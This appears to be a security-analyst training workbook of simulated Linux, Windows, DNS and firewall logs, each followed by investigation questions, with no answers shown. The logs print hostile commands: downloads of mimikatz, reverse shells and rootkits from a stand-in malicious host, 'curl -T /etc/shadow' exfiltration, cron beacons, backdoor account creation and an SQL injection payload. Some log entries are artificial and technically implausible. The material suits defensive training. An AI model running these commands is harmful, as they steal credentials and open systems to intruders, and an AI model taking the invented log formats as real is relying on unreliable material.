# CYBER SECURITY ANALYST TECHNICAL EXERCISES WITH SIMULATION LOGS, QUESTIONS AND ANSWERS

BY IZZMIER IZZUDDIN

# TABLE OF CONTENTS

## QUESTIONS

### EXERCISE 1

**Logs:**

Aug 15 14:32:12 server1 sshd[1123]: Accepted password for root from 203.0.113.45 port 50122 ssh2

Aug 15 14:32:12 server1 sshd[1123]: pam_unix(sshd:session): session opened for user root by (uid=0)

Aug 15 14:32:14 server1 sudo: root : TTY=pts/0 ; PWD=/root ; USER=root ; COMMAND=/usr/bin/wget http://malicious-site.com/tools/mimikatz.tar.gz

Aug 15 14:32:16 server1 kernel: [112233.000001] mimikatz.tar.gz downloaded to /tmp/mimikatz.tar.gz

Aug 15 14:32:20 server1 sudo: root : TTY=pts/0 ; PWD=/tmp ; USER=root ; COMMAND=/bin/tar -xzvf mimikatz.tar.gz

Aug 15 14:32:25 server1 sudo: root : TTY=pts/0 ; PWD=/tmp ; USER=root ; COMMAND=/usr/bin/chmod +x /tmp/mimikatz

Aug 15 14:32:28 server1 sudo: root : TTY=pts/0 ; PWD=/tmp ; USER=root ; COMMAND=./mimikatz

Aug 15 14:32:30 server1 mimikatz[1189]: Dumping credentials for user 'root'

Aug 15 14:33:12 server1 sudo: root : TTY=pts/0 ; PWD=/tmp ; USER=root ; COMMAND=/usr/bin/curl -T /etc/shadow http://malicious-site.com/upload

Aug 15 14:33:30 server1 kernel: [112233.000002] Credentials file '/etc/shadow' uploaded successfully

Aug 15 14:33:50 server1 sudo: root : TTY=pts/0 ; PWD=/tmp ; USER=root ; COMMAND=/usr/bin/crontab -l

Aug 15 14:34:00 server1 sudo: root : TTY=pts/0 ; PWD=/tmp ; USER=root ; COMMAND=echo "*/5 * * * * /usr/bin/curl -s http://malicious-site.com/ping > /dev/null 2>&1" | crontab -

Aug 15 14:34:20 server1 sshd[1123]: pam_unix(sshd:session): session closed for user root

**Questions:**

1. **What type of attack was performed on the Linux server based on the log data?**

2. **What was the time range during which the attack took place?**
3. **Which tools did the attacker use to perform the credential dumping?**
4. **What was the attacker's IP address?**
5. **What files or information did the attacker extract from the system?**
6. **What were the attacker's actions to maintain persistence on the Linux server?**
7. **What vulnerabilities did the attacker exploit to gain initial access to the system? Provide the CVE-ID if applicable.**
8. **Which commands were executed by the attacker and what were their purposes?**
9. **Was the attack successful? Provide evidence to support your conclusion.**
10. **What could be done to prevent this type of attack in the future?**

**EXERCISE 2**

**Logs:**

Aug 16 09:42:31 WIN-SRV01 Microsoft-Windows-Security-Auditing: Event ID 4624 - An account was successfully logged on. Subject: Account Name: Administrator, Logon ID: 0x3e7, Network Account Name: attacker@malicious.com, IP Address: 203.0.113.52

Aug 16 09:43:12 WIN-SRV01 Microsoft-Windows-Powershell: Event ID 4104 - Script execution started. Command: "Invoke-WebRequest -Uri http://malicious-site.com/ransomware.exe -OutFile C:\temp\ransomware.exe"

Aug 16 09:43:15 WIN-SRV01 Microsoft-Windows-Defender: Event ID 5007 - Threat detected: ransomware.exe, Action: No Action Taken.

Aug 16 09:43:25 WIN-SRV01 Microsoft-Windows-Powershell: Event ID 4104 - Script execution started. Command: "Start-Process -FilePath C:\temp\ransomware.exe"

Aug 16 09:43:30 WIN-SRV01 Application Error: Event ID 1000 - Faulting application name: ransomware.exe, Faulting module name: unknown, Faulting process ID: 2484

Aug 16 09:44:00 WIN-SRV01 System: Event ID 5170 - File encryption started by process ransomware.exe, targeting C:\Users\Administrator\Documents\financials.xlsx and C:\Users\Administrator\Desktop\contracts.docx

Aug 16 09:44:10 WIN-SRV01 System: Event ID 5171 - File encryption completed. Files encrypted: 2, Appended Extension: .locked

Aug 16 09:44:20 WIN-SRV01 Application Error: Event ID 1001 - A ransom note was created at C:\Users\Administrator\Desktop\RANSOM_NOTE.txt

Aug 16 09:44:30 WIN-SRV01 Microsoft-Windows-Security-Auditing: Event ID 4647 - User initiated logoff. Account Name: attacker@malicious.com

Aug 16 09:45:12 WIN-SRV01 Microsoft-Windows-Security-Auditing: Event ID 4624 - An account was successfully logged on. Subject: Account Name: SYSTEM, Logon ID: 0x3e7, Process: ransomware.exe

Aug 16 09:45:50 WIN-SRV01 System: Event ID 7045 - A service was installed in the system. Service Name: "ransomware persistence", File Path: C:\Windows\System32\ransomware_service.exe

Aug 16 09:46:12 WIN-SRV01 System: Event ID 7011 - The ransomware persistence service is running, ensuring file encryption continues upon restart.

Aug 16 09:46:30 WIN-SRV01 Microsoft-Windows-Powershell: Event ID 4104 - Script execution started. Command: "Remove-Item -Path C:\temp\ransomware.exe"

Aug 16 09:46:35 WIN-SRV01 Microsoft-Windows-Security-Auditing: Event ID 4647 - User initiated logoff. Account Name: SYSTEM

**Questions:**

1. **What type of malware was used in the attack on the Windows server?**
2. **What was the time range during which the ransomware infection occurred?**
3. **Which method did the attacker use to execute the ransomware on the Windows server?**
4. **What files were encrypted by the ransomware and where were they located?**
5. **What extension did the ransomware append to the encrypted files?**
6. **What processes were executed by the ransomware on the system?**
7. **What is the attacker's Bitcoin wallet address listed in the ransom note?**
8. **What was the first sign of the ransomware infection in the system logs?**
9. **Was the attacker able to maintain persistence after executing the ransomware? How was this achieved?**
10. **How could this ransomware attack have been prevented?**

**EXERCISE 3**

**Logs:**

Aug 16 10:02:45 server01 kernel: [123456.000001] Process 4123 ('cryptotime') started by user 'attacker' under PID 4123

Aug 16 10:02:50 server01 audit: EXECVE /usr/local/bin/cryptotime /usr/local/bin/cryptotime --target=/usr/local/ssl/privatekey.pem

Aug 16 10:02:55 server01 kernel: [123456.000002] Cryptographic operation initiated by process 4210 ('openssl') under user 'admin'

Aug 16 10:03:00 server01 kernel: [123456.000003] Page faults detected: 4 during cryptographic operation in process 4210

Aug 16 10:03:03 server01 cryptotime[4123]: Timing analysis initiated for cryptographic operation in process 4210

Aug 16 10:03:05 server01 audit: EXECVE /bin/cat /proc/4210/stat

Aug 16 10:03:07 server01 cryptotime[4123]: Cache misses detected during cryptographic operation in process 4210

Aug 16 10:03:12 server01 cryptotime[4123]: Timing analysis completed. Estimated key segment extracted: 0x3f

Aug 16 10:03:18 server01 kernel: [123456.000004] Cryptographic operation completed by process 4210 ('openssl')

Aug 16 10:03:25 server01 cryptotime[4123]: Exfiltration script executed. Data sent to 203.0.113.99

Aug 16 10:03:30 server01 firewall: Outbound connection detected from 192.168.1.10 to 203.0.113.99 on port 8080

Aug 16 10:03:35 server01 kernel: [123456.000005] Process 4123 ('cryptotime') terminated under user 'attacker'

**Questions:**

1. **What type of attack was performed and what was the primary target of the attack?**
2. **What specific technique did the attacker use to extract sensitive information?**
3. **What data did the attacker extract from the system?**
4. **What evidence in the logs suggests that the attacker was able to perform timing analysis on cryptographic operations?**

5. **What tool or script did the attacker use to measure execution time differences?**
6. **What process or function was exploited by the attacker to perform the timing analysis?**
7. **Was the attack successful in extracting sensitive information? Provide supporting evidence.**
8. **What could have been done to prevent or mitigate this type of side-channel attack?**
9. **What is the role of cache behaviour in this attack and how did the attacker exploit it?**
10. **How can cryptographic operations be made more resilient to timing attacks?**

**EXERCISE 4**

**Logs:**

Aug 16 11:15:23 server01 named[9876]: client 192.168.1.12#54321: query: abc123.sensitive_data.attacker-domain.com IN A + (192.168.1.1)

Aug 16 11:15:25 server01 named[9876]: client 192.168.1.12#54321: query: xyz456.sensitive_data.attacker-domain.com IN A + (192.168.1.1)

Aug 16 11:15:30 firewall01: Blocked outbound TCP traffic from 192.168.1.12 to 203.0.113.88 on port 443

Aug 16 11:15:35 server01 dnsmasq[4321]: forwarded abc123.sensitive_data.attacker-domain.com to 203.0.113.55

Aug 16 11:15:38 server01 dnsmasq[4321]: forwarded xyz456.sensitive_data.attacker-domain.com to 203.0.113.55

Aug 16 11:15:40 server01 named[9876]: client 192.168.1.12#54321: query: end.tunnel.attacker-domain.com IN A + (192.168.1.1)

Aug 16 11:15:45 firewall01: Outbound UDP traffic allowed from 192.168.1.12 to 203.0.113.55 on port 53

Aug 16 11:16:10 server01 audit: EXECVE /usr/local/bin/dns_exfil /usr/local/bin/dns_exfil --domain=attacker-domain.com --data=SensitiveData --outbound

Aug 16 11:16:12 server01 dnsmasq[4321]: forwarded end.tunnel.attacker-domain.com to 203.0.113.55

Aug 16 11:16:15 server01 dnsmasq[4321]: client 192.168.1.12#54321: response: no error, sending response to client

Aug 16 11:16:20 server01 firewall: Detected abnormal DNS query volume from 192.168.1.12, total queries: 1500 in 5 minutes

Aug 16 11:16:25 server01 kernel: [223344.000001] Process 5678 ('dns_exfil') terminated by user 'attacker'

**Questions:**

1. **What type of attack was detected on the system?**
2. **What was the objective of the attacker in this scenario?**
3. **What DNS domain was used for the tunneling attack?**
4. **What data was exfiltrated through the DNS tunnel?**

5. **How did the attacker manage to bypass the firewall and other network security measures?**
6. **What process initiated the DNS queries for the tunnel?**
7. **What IP addresses were involved in the communication?**
8. **What tool or technique could have been used to detect the DNS tunneling attack?**
9. **What could have been done to prevent or mitigate this DNS tunneling attack?**
10. **What was the time frame during which the attack occurred?**

**EXERCISE 5**

**Logs:**

Aug 16 14:15:45 webserver02 httpd[2345]: [client 203.0.113.10] POST /login.php HTTP/1.1 200 OK

Aug 16 14:15:46 dbserver01 mysql[5678]: Query: SELECT * FROM users WHERE username='admin' AND password='password123'

Aug 16 14:16:00 webserver02 httpd[2345]: [client 203.0.113.10] POST /login.php HTTP/1.1 200 OK

Aug 16 14:16:02 dbserver01 mysql[5678]: Query: SELECT * FROM users WHERE username='admin' AND password='' OR 1=1; --'

Aug 16 14:16:05 dbserver01 mysql[5678]: Authentication bypass detected for user 'admin' via SQL injection

Aug 16 14:16:10 webserver02 audit: Detected unusual query activity by client 203.0.113.10

Aug 16 14:16:12 dbserver01 mysql[5678]: Query: SELECT * FROM credit_cards WHERE user_id='admin'

Aug 16 14:16:20 firewall01: Outbound TCP traffic detected from 203.0.113.10 to 192.0.2.99 on port 3306

Aug 16 14:16:30 webserver02 audit: SQL Injection attack detected. Logging information sent to SIEM.

**Questions:**

1. **What type of attack was detected on the system?**
2. **What was the objective of the attacker in this scenario?**
3. **How did the attacker inject the malicious SQL query into the system?**
4. **What evidence in the logs indicates that the attack was successful?**
5. **What data was compromised due to the SQL injection?**
6. **Which application or service was exploited for the SQL injection?**
7. **What was the specific SQL query or payload used by the attacker?**
8. **How could the application have been secured to prevent SQL injection?**
9. **What steps should be taken to detect and mitigate SQL injection attacks?**

10. **What time frame did the SQL injection attack occur within and how quickly was it detected?**

**EXERCISE 6**

**Logs:**

Aug 16 02:45:10 server2 sshd[3242]: Accepted password for admin from 198.51.100.22 port 50432 ssh2

Aug 16 02:45:10 server2 sshd[3242]: pam_unix(sshd:session): session opened for user admin by (uid=0)

Aug 16 02:45:13 server2 sudo: admin : TTY=pts/1 ; PWD=/home/admin ; USER=root ; COMMAND=/usr/bin/curl -O http://malicious-site.com/tools/reverse_shell.sh

Aug 16 02:45:15 server2 kernel: [223344.000001] reverse_shell.sh downloaded to /home/admin/reverse_shell.sh

Aug 16 02:45:20 server2 sudo: admin : TTY=pts/1 ; PWD=/home/admin ; USER=root ; COMMAND=/bin/chmod +x /home/admin/reverse_shell.sh

Aug 16 02:45:22 server2 sudo: admin : TTY=pts/1 ; PWD=/home/admin ; USER=root ; COMMAND=./reverse_shell.sh

Aug 16 02:45:30 server2 bash[3278]: Connection established with 198.51.100.22:4444

Aug 16 02:45:35 server2 bash[3278]: Session opened for user root

Aug 16 02:46:00 server2 bash[3278]: Executed command: uname -a

Aug 16 02:46:12 server2 bash[3278]: Executed command: whoami

Aug 16 02:46:20 server2 bash[3278]: Executed command: cat /etc/passwd

Aug 16 02:46:45 server2 bash[3278]: Executed command: netstat -anp

Aug 16 02:47:00 server2 bash[3278]: Executed command: ifconfig -a

Aug 16 02:47:30 server2 bash[3278]: Executed command: ps aux

Aug 16 02:47:50 server2 bash[3278]: Executed command: cat /var/log/secure

Aug 16 02:48:15 server2 bash[3278]: Executed command: cat /etc/ssh/sshd_config

Aug 16 02:48:45 server2 bash[3278]: Executed command: echo "*/10 * * * * /usr/bin/curl -s http://malicious-site.com/check_in > /dev/null 2>&1" | crontab -

Aug 16 02:49:10 server2 sudo: admin : TTY=pts/1 ; PWD=/home/admin ; USER=root ; COMMAND=/usr/bin/rm -f /home/admin/reverse_shell.sh

Aug 16 02:49:30 server2 sshd[3242]: pam_unix(sshd:session): session closed for user admin

**Questions:**

1. **What type of attack was performed on the Linux server based on the log data?**
2. **What was the time range during which the attack took place?**
3. **Which tools did the attacker use to execute the attack?**
4. **What was the attacker's IP address?**
5. **What files or information did the attacker access on the system?**
6. **What were the attacker's actions to maintain persistence on the Linux server?**
7. **Which commands were executed by the attacker and what were their purposes?**
8. **Was the attack successful? Provide evidence to support your conclusion.**
9. **What could be done to prevent this type of attack in the future?**
10. **How did the attacker clean up evidence of their activities on the system?**

**EXERCISE 7**

**Logs:**

Aug 22 03:15:10 webserver1 sshd[1213]: Accepted password for user1 from 198.51.100.25 port 41344 ssh2

Aug 22 03:15:12 webserver1 sshd[1213]: pam_unix(sshd:session): session opened for user user1 by (uid=1000)

Aug 22 03:15:20 webserver1 sudo: user1 : TTY=pts/1 ; PWD=/home/user1 ; USER=root ; COMMAND=/bin/su

Aug 22 03:15:25 webserver1 su[1234]: pam_unix(su:session): session opened for user root by user1(uid=1000)

Aug 22 03:15:40 webserver1 sudo: root : TTY=pts/1 ; PWD=/root ; USER=root ; COMMAND=/usr/bin/wget http://malicious-site.com/backdoor.sh

Aug 22 03:15:45 webserver1 kernel: [984321.000001] backdoor.sh downloaded to /tmp/backdoor.sh

Aug 22 03:16:00 webserver1 sudo: root : TTY=pts/1 ; PWD=/tmp ; USER=root ; COMMAND=/bin/bash /tmp/backdoor.sh

Aug 22 03:16:05 webserver1 kernel: [984321.000002] New reverse shell initiated to 203.0.113.60:4444

Aug 22 03:16:30 webserver1 sudo: root : TTY=pts/1 ; PWD=/root ; USER=root ; COMMAND=/usr/bin/curl -O http://malicious-site.com/escalate_privileges.tar.gz

Aug 22 03:16:35 webserver1 kernel: [984321.000003] escalate_privileges.tar.gz downloaded to /tmp/escalate_privileges.tar.gz

Aug 22 03:16:40 webserver1 sudo: root : TTY=pts/1 ; PWD=/tmp ; USER=root ; COMMAND=/bin/tar -xzvf escalate_privileges.tar.gz

Aug 22 03:16:50 webserver1 sudo: root : TTY=pts/1 ; PWD=/tmp ; USER=root ; COMMAND=/usr/bin/chmod +x /tmp/escalate_privileges

Aug 22 03:16:55 webserver1 sudo: root : TTY=pts/1 ; PWD=/tmp ; USER=root ; COMMAND=/tmp/escalate_privileges

Aug 22 03:17:00 webserver1 kernel: [984321.000004] Privileges escalated: user 'root' now has full access

Aug 22 03:17:15 webserver1 sudo: root : TTY=pts/1 ; PWD=/root ; USER=root ; COMMAND=/usr/bin/wget http://malicious-site.com/ssh_config_update.sh

Aug 22 03:17:20 webserver1 kernel: [984321.000005] ssh_config_update.sh downloaded to /tmp/ssh_config_update.sh

Aug 22 03:17:25 webserver1 sudo: root : TTY=pts/1 ; PWD=/tmp ; USER=root ; COMMAND=/bin/bash /tmp/ssh_config_update.sh

Aug 22 03:17:30 webserver1 kernel: [984321.000006] SSH configuration updated to allow root login from specific IPs

Aug 22 03:17:45 webserver1 sudo: root : TTY=pts/1 ; PWD=/root ; USER=root ; COMMAND=/usr/bin/wget http://malicious-site.com/stealth_tools.tar.gz

Aug 22 03:17:50 webserver1 kernel: [984321.000007] stealth_tools.tar.gz downloaded to /tmp/stealth_tools.tar.gz

Aug 22 03:17:55 webserver1 sudo: root : TTY=pts/1 ; PWD=/tmp ; USER=root ; COMMAND=/bin/tar -xzvf stealth_tools.tar.gz

Aug 22 03:18:00 webserver1 sudo: root : TTY=pts/1 ; PWD=/tmp ; USER=root ; COMMAND=/usr/bin/chmod +x /tmp/stealth_tools

Aug 22 03:18:05 webserver1 sudo: root : TTY=pts/1 ; PWD=/tmp ; USER=root ; COMMAND=/tmp/stealth_tools --install

Aug 22 03:18:15 webserver1 kernel: [984321.000008] Rootkit installed: All activities hidden from logs

Aug 22 03:18:30 webserver1 sudo: root : TTY=pts/1 ; PWD=/root ; USER=root ; COMMAND=/usr/bin/curl -T /var/www/html/index.php http://malicious-site.com/upload

Aug 22 03:18:45 webserver1 kernel: [984321.000009] Web shell installed: /var/www/html/index.php

Aug 22 03:19:00 webserver1 sudo: root : TTY=pts/1 ; PWD=/root ; USER=root ; COMMAND=/usr/bin/wget http://malicious-site.com/cleanup.sh

Aug 22 03:19:05 webserver1 kernel: [984321.000010] cleanup.sh downloaded to /tmp/cleanup.sh

Aug 22 03:19:10 webserver1 sudo: root : TTY=pts/1 ; PWD=/tmp ; USER=root ; COMMAND=/bin/bash /tmp/cleanup.sh

Aug 22 03:19:15 webserver1 kernel: [984321.000011] Cleanup script executed: Logs partially wiped

Aug 22 03:19:30 webserver1 sshd[1213]: pam_unix(sshd:session): session closed for user root

**Questions:**

1. **What type of attack was performed on the Linux server based on the log data?**
2. **What was the time range during which the attack took place?**
3. **Which tools did the attacker use to establish persistence and escalate privileges?**
4. **What was the attacker's IP address?**
5. **What files or information did the attacker extract from the system?**
6. **What were the attacker's actions to maintain stealth on the Linux server?**
7. **What vulnerabilities did the attacker exploit to gain initial access to the system? Provide the CVE-ID if applicable.**
8. **Which commands were executed by the attacker and what were their purposes?**
9. **Was the attack successful? Provide evidence to support your conclusion.**
10. **What could be done to prevent this type of attack in the future?**

**EXERCISE 8**

**Logs:**

Log Name: Security

Source: Microsoft-Windows-Security-Auditing

Date: 8/22/2024 1:02:25 PM

Event ID: 4624

Task Category: Logon

Level: Information

Keywords: Audit Success

User: N/A

Computer: WIN-SERVER-01

Description:

An account was successfully logged on.

Subject:

Security ID: S-1-5-18

Account Name: WIN-SERVER-01$

Account Domain: DOMAIN

Logon ID: 0x3e7

Logon Type: 3

New Logon:

Security ID: S-1-5-21-3623811015-3361044348-30300820-1013

Account Name: attacker

Account Domain: DOMAIN

Logon ID: 0x18d3f1

Logon GUID: {f445a9e3-59b1-36ad-5b7e-29f2fa5d5b7e}

Process Information:

Process ID: 0x24c

Process Name: C:\Windows\System32\svchost.exe

Network Information:

Workstation Name: WIN-SERVER-01

Source Network Address: 192.0.2.45

Source Port: 49873

Logon Information:

Logon Type: 3

Logon Process: NtLmSsp

Authentication Package: Negotiate

Workstation Name: WIN-SERVER-01

Logon GUID: {f445a9e3-59b1-36ad-5b7e-29f2fa5d5b7e}

Detailed Authentication Information:

Logon Process: NtLmSsp

Authentication Package: Negotiate

Key Length: 0

Log Name: Security

Source: Microsoft-Windows-Security-Auditing

Date: 8/22/2024 1:03:30 PM

Event ID: 4673

Task Category: Sensitive Privilege Use

Level: Information

Keywords: Audit Success

User: N/A

Computer: WIN-SERVER-01

Description:

A privileged service was called.

Subject:

Security ID: S-1-5-21-3623811015-3361044348-30300820-1013

Account Name: attacker

Account Domain: DOMAIN

Logon ID: 0x18d3f1

Service Information:

Service Name: -

Service File Name: -

Service Type: -

Process Information:

Process ID: 0x31c

Process Name: C:\Windows\System32\cmd.exe

Privileges: SeDebugPrivilege

Log Name: Security

Source: Microsoft-Windows-Security-Auditing

Date: 8/22/2024 1:04:12 PM

Event ID: 4688

Task Category: Process Creation

Level: Information

Keywords: Audit Success

User: N/A

Computer: WIN-SERVER-01

Description:

A new process has been created.

Subject:

Security ID: S-1-5-21-3623811015-3361044348-30300820-1013

Account Name: attacker

Account Domain: DOMAIN

Logon ID: 0x18d3f1

Process Information:

New Process ID: 0x4c8

New Process Name: C:\Windows\System32\cmd.exe

Token Elevation Type: TokenElevationTypeDefault (1)

Creator Process ID: 0x31c

Process Command Line: C:\Windows\system32\cmd.exe /c net user /add backdoor P@ssw0rd!

Parent Process Name: C:\Windows\System32\svchost.exe

Log Name: Security

Source: Microsoft-Windows-Security-Auditing

Date: 8/22/2024 1:04:18 PM

Event ID: 4720

Task Category: User Account Management

Level: Information

Keywords: Audit Success

User: N/A

Computer: WIN-SERVER-01

Description:

A user account was created.

Subject:

Security ID: S-1-5-21-3623811015-3361044348-30300820-1013

Account Name: attacker

Account Domain: DOMAIN

Logon ID: 0x18d3f1

New Account:

Security ID: S-1-5-21-3623811015-3361044348-30300820-1004

Account Name: backdoor

Account Domain: DOMAIN

Attributes:

SAM Account Name: backdoor

Display Name: -

User Principal Name: -

Home Directory: -

Home Drive: -

Script Path: -

Profile Path: -

User Workstations: -

Password Last Set: 8/22/2024 1:04:18 PM

Account Expires: Never

Primary Group ID: 513

User Account Control:

Account Enabled

Password Information:

Password Last Set: 8/22/2024 1:04:18 PM

Password Expires: Never

User May Change Password: True

Password Required: True

Log Name: Security

Source: Microsoft-Windows-Security-Auditing

Date: 8/22/2024 1:04:25 PM

Event ID: 4673

Task Category: Sensitive Privilege Use

Level: Information

Keywords: Audit Success

User: N/A

Computer: WIN-SERVER-01

Description:

A privileged service was called.

Subject:

Security ID: S-1-5-21-3623811015-3361044348-30300820-1013

Account Name: attacker

Account Domain: DOMAIN

Logon ID: 0x18d3f1

Service Information:

Service Name: -

Service File Name: -

Service Type: -

Process Information:

Process ID: 0x4c8

Process Name: C:\Windows\System32\cmd.exe

Privileges: SeTakeOwnershipPrivilege

Log Name: Security

Source: Microsoft-Windows-Security-Auditing

Date: 8/22/2024 1:04:45 PM

Event ID: 4672

Task Category: Special Logon

Level: Information

Keywords: Audit Success

User: N/A

Computer: WIN-SERVER-01

Description:

Special privileges assigned to new logon.

Subject:

Security ID: S-1-5-21-3623811015-3361044348-30300820-1013

Account Name: attacker

Account Domain: DOMAIN

Logon ID: 0x18d3f1

Privileges: SeBackupPrivilege

SeRestorePrivilege

SeDebugPrivilege

SeTakeOwnershipPrivilege

SeTcbPrivilege

SeIncreaseQuotaPrivilege

SeImpersonatePrivilege

SeEnableDelegationPrivilege

Log Name: Security

Source: Microsoft-Windows-Security-Auditing

Date: 8/22/2024 1:05:30 PM

Event ID: 4673

Task Category: Sensitive Privilege Use

Level: Information

Keywords: Audit Success

User: N/A

Computer: WIN-SERVER-01

Description:

A privileged service was called.

Subject:

Security ID: S-1-5-21-3623811015-3361044348-30300820-1013

Account Name: attacker

Account Domain: DOMAIN

Logon ID: 0x18d3f1

Service Information:

Service Name: -

Service File Name: -

Service Type: -

Process Information:

Process ID: 0x4c8

Process Name: C:\Windows\System32\cmd.exe

Privileges: SeBackupPrivilege

SeRestorePrivilege

Log Name: Security

Source: Microsoft-Windows-Security-Auditing

Date: 8/22/2024 1:06:15 PM

Event ID: 4728

Task Category: User Account Management

Level: Information

Keywords: Audit Success

User: N/A

Computer: WIN-SERVER-01

Description:

A member was added to a security-enabled global group.

Subject:

Security ID: S-1-5-21-3623811015-3361044348-30300820-1013

Account Name: attacker

Account Domain: DOMAIN

Logon ID: 0x18d3f1

Member:

Security ID: S-1-5-21-3623811015-3361044348-30300820-1004

Account Name: backdoor

Group:

Security ID: S-1-5-21-3623811015-3361044348-30300820-512

Group Name: Domain Admins

Group Domain: DOMAIN

Log Name: Security

Source: Microsoft-Windows-Security-Auditing

Date: 8/22/2024 1:08:01 PM

Event ID: 5145

Task Category: Detailed File Share

Level: Information

Keywords: Audit Success

User: N/A

Computer: WIN-SERVER-01

Description:

A network share object was accessed.

Subject:

Security ID: S-1-5-21-3623811015-3361044348-30300820-1013

Account Name: attacker

Account Domain: DOMAIN

Logon ID: 0x18d3f1

Network Information:

Object Type: File

Source Address: 192.0.2.45

Source Port: 49873

Share Information:

Share Name: \\WIN-SERVER-01\C$

Share Path: C:\Windows\System32

Access Request Information:

Access Mask: 0x12019f

Accesses: ReadData (or ListDirectory)

WriteData (or AddFile)

AppendData (or AddSubdirectory or CreatePipeInstance)

ReadEA

WriteEA

ReadAttributes

WriteAttributes

Privileges Used for Access Check: -

Restricted SID Count: 0

Log Name: Security

Source: Microsoft-Windows-Security-Auditing

Date: 8/22/2024 1:09:05 PM

Event ID: 1102

Task Category: Log Clear

Level: Information

Keywords: Audit Success

User: N/A

Computer: WIN-SERVER-01

Description:

The audit log was cleared.

Subject:

Security ID: S-1-5-21-3623811015-3361044348-30300820-1013

Account Name: attacker

Account Domain: DOMAIN

Logon ID: 0x18d3f1

**Questions:**

1. **What type of attack is indicated in these logs?**
2. **Which account was compromised and how was it used by the attacker?**
3. **What privileges were escalated and what actions did the attacker perform using these privileges?**
4. **Identify the timeline of events in the attack, including the time of the initial logon and subsequent malicious activities.**
5. **Was there any attempt to cover tracks? Provide evidence from the logs.**
6. **What measures could be taken to prevent such an attack in the future?**

**EXERCISE 9**

**Logs:**

Timestamp: 2024-08-22 10:15:32

Source IP: 192.168.1.150

Destination IP: 10.0.0.45

Source Port: 32467

Destination Port: 22

Protocol: TCP

Action: Allow

Message: Connection allowed from 192.168.1.150 to 10.0.0.45 on port 22 (SSH).

Timestamp: 2024-08-22 10:16:05

Source IP: 192.168.1.150

Destination IP: 10.0.0.45

Source Port: 32468

Destination Port: 22

Protocol: TCP

Action: Allow

Message: Connection allowed from 192.168.1.150 to 10.0.0.45 on port 22 (SSH).

Timestamp: 2024-08-22 10:18:20

Source IP: 192.168.1.150

Destination IP: 10.0.0.45

Source Port: 32470

Destination Port: 22

Protocol: TCP

Action: Allow

Message: Connection allowed from 192.168.1.150 to 10.0.0.45 on port 22 (SSH).

Timestamp: 2024-08-22 11:25:14

Source IP: 192.168.1.150

Destination IP: 10.0.0.100

Source Port: 52567

Destination Port: 445

Protocol: TCP

Action: Deny

Message: Connection attempt denied from 192.168.1.150 to 10.0.0.100 on port 445 (SMB).

Timestamp: 2024-08-22 11:25:45

Source IP: 192.168.1.150

Destination IP: 10.0.0.100

Source Port: 52568

Destination Port: 445

Protocol: TCP

Action: Deny

Message: Connection attempt denied from 192.168.1.150 to 10.0.0.100 on port 445 (SMB).

Timestamp: 2024-08-22 11:26:10

Source IP: 192.168.1.150

Destination IP: 10.0.0.100

Source Port: 52569

Destination Port: 445

Protocol: TCP

Action: Allow

Message: Connection allowed from 192.168.1.150 to 10.0.0.100 on port 445 (SMB).

Timestamp: 2024-08-22 12:03:07

Source IP: 192.168.1.150

Destination IP: 192.168.1.50

Source Port: 62987

Destination Port: 80

Protocol: TCP

Action: Allow

Message: Connection allowed from 192.168.1.150 to 192.168.1.50 on port 80 (HTTP).

Timestamp: 2024-08-22 12:03:35

Source IP: 192.168.1.150

Destination IP: 192.168.1.50

Source Port: 62988

Destination Port: 443

Protocol: TCP

Action: Allow

Message: Connection allowed from 192.168.1.150 to 192.168.1.50 on port 443 (HTTPS).

Timestamp: 2024-08-22 12:04:11

Source IP: 10.0.0.100

Destination IP: 192.168.1.150

Source Port: 445

Destination Port: 5353

Protocol: UDP

Action: Allow

Message: Connection allowed from 10.0.0.100 to 192.168.1.150 on port 5353 (mDNS).

Timestamp: 2024-08-22 12:04:45

Source IP: 10.0.0.100

Destination IP: 192.168.1.150

Source Port: 445

Destination Port: 5353

Protocol: UDP

Action: Allow

Message: Connection allowed from 10.0.0.100 to 192.168.1.150 on port 5353 (mDNS).

Timestamp: 2024-08-22 12:05:12

Source IP: 10.0.0.45

Destination IP: 192.168.1.150

Source Port: 22

Destination Port: 55555

Protocol: TCP

Action: Allow

Message: Connection allowed from 10.0.0.45 to 192.168.1.150 on port 55555 (custom port).

Timestamp: 2024-08-22 12:05:40

Source IP: 10.0.0.45

Destination IP: 192.168.1.150

Source Port: 22

Destination Port: 55556

Protocol: TCP

Action: Allow

Message: Connection allowed from 10.0.0.45 to 192.168.1.150 on port 55556 (custom port).

Timestamp: 2024-08-22 12:10:05

Source IP: 192.168.1.150

Destination IP: 172.16.0.1

Source Port: 1034

Destination Port: 53

Protocol: UDP

Action: Allow

Message: DNS request allowed from 192.168.1.150 to 172.16.0.1.

Timestamp: 2024-08-22 12:10:22

Source IP: 192.168.1.150

Destination IP: 172.16.0.1

Source Port: 1035

Destination Port: 53

Protocol: UDP

Action: Allow

Message: DNS request allowed from 192.168.1.150 to 172.16.0.1.

Timestamp: 2024-08-22 12:10:55

Source IP: 192.168.1.150

Destination IP: 10.0.0.1

Source Port: 8080

Destination Port: 443

Protocol: TCP

Action: Allow

Message: Connection allowed from 192.168.1.150 to 10.0.0.1 on port 443 (HTTPS).

Timestamp: 2024-08-22 12:12:18

Source IP: 192.168.1.150

Destination IP: 10.0.0.45

Source Port: 9001

Destination Port: 8080

Protocol: TCP

Action: Allow

Message: Connection allowed from 192.168.1.150 to 10.0.0.45 on port 8080 (HTTP Proxy).

Timestamp: 2024-08-22 12:15:02

Source IP: 192.168.1.150

Destination IP: 192.168.1.55

Source Port: 1042

Destination Port: 22

Protocol: TCP

Action: Allow

Message: Connection allowed from 192.168.1.150 to 192.168.1.55 on port 22 (SSH).

Timestamp: 2024-08-22 12:18:47

Source IP: 10.0.0.100

Destination IP: 192.168.1.150

Source Port: 5353

Destination Port: 22

Protocol: TCP

Action: Deny

Message: Connection attempt denied from 10.0.0.100 to 192.168.1.150 on port 22 (SSH).

Timestamp: 2024-08-22 12:19:15

Source IP: 10.0.0.100

Destination IP: 192.168.1.150

Source Port: 5354

Destination Port: 22

Protocol: TCP

Action: Deny

Message: Connection attempt denied from 10.0.0.100 to 192.168.1.150 on port 22 (SSH).

Timestamp: 2024-08-22 12:20:20

Source IP: 10.0.0.100

Destination IP: 192.168.1.150

Source Port: 5355

Destination Port: 22

Protocol: TCP

Action: Deny

Message: Connection attempt denied from 10.0.0.100 to 192.168.1.150 on port 22 (SSH).

Timestamp: 2024-08-22 12:25:33

Source IP: 172.16.0.1

Destination IP: 192.168.1.150

Source Port: 53

Destination Port: 443

Protocol: TCP

Action: Deny

Message: Connection attempt denied from 172.16.0.1 to 192.168.1.150 on port 443 (HTTPS).

